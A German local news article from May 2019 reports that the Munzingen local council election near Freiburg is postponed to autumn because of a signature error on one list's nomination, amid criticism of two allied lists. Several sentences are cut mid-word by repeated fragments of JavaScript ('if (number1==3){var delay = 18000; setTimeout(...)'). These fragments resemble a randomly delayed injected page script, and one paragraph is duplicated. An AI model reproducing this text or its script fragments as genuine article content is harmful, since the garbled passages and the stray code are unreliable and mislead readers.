Mi, 15. Mai 2019 um 16:13 Uhr
Die Wahl zum Ortschaftsrat in Munzingen kann erst im Herbst stattfinden. Ein ungewöhnlicher Vorgang: In Freiburg kann sich niemandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and erinnern, dass je eine Wahl wegen eines Formfehlers ausfiel.
Nach BZ-Informationen geht es um die Liste „Bürger für Munzingen“, auf deren Wahlvorschlag nicht der Versammlungsleiter unterschrieben haben soll, sondern eine andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andere Person. Korrigieren lässt sich der Fehler nicht mehr, alle Fristen sind abgelaufen. Wie das Regierungspräsidium auf Nachfrage mitteilte, müsste die Wahl wegen dieses Formfehlers für ungültig erklärt werden – Grund für die Behörde, die Ortschaftsratswahl erstmal abzusagen. Ein ungewöhnlicher Vorgang: In Freiburg kann sich niemandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and erinnern, dass je eine Wahl wegen eines Formfehlers ausfiel.
Anlass für die Begutachtung der Wahlvorschläge war Kritik, die im Vorfeld der Ortschaftsratswahl laut geworden war. Es geht dabei um den gemeinsamen Wahlauftritt der beiden Listen „Bürger für Munzingen“ (BFM) und „Munzinger Wählergemeinschaft“ (MWG). Bereits in zwei Ortschaftsratswahlen zuvor waren die beiden Listen mit den gleichen inhaltlichen Zielen angetreten.
Eine dritte Liste, die „Unabhängige Liste Munzingen“, hatte nun scharf kritisiert, dass da eine Wählervereinigung zwei Listen bilde, um mehr Stimmen auf sich zu versammeln. MWG und BFM sollen sich mit gemeinsamem Gruppenfoto und gemeinsamem Wahlprospekt präsentieren, auch die Listen sollen zusammen aufgestellt worden sein. „Diesmal war es besonders dreist“, so Ortschaftsrat Klaus Riemann von der „Unabhängigen Liste Munzingen“.
Auf BZ-Nachfrage hatte der Freiburger Rechtsamtsleiter Matthias Müller vor kurzem gesagt, die Stadtverwaltung habe den Sachverhalt geprüft und betont, dass es grundsätzlich nicht unzulässig sei, wenn zwei Listen gemeinsam im Wahlkampf auftreten. Allerdings müssten formale Vorgaben eingehalten werden.
Müller hatte angekündigt, dies beim Regierungspräsidium Freiburg prüfen zu lassen. Offenbar ist bei dieser Prüfung aufgefallen, dass eine Unterschrift auf dem Wahlvorschlag der BFM fehlerhaft war. Ob das gemeinsame Auftreten der Listen prinzipiell zulässig ist, wird weiterhin geprüft.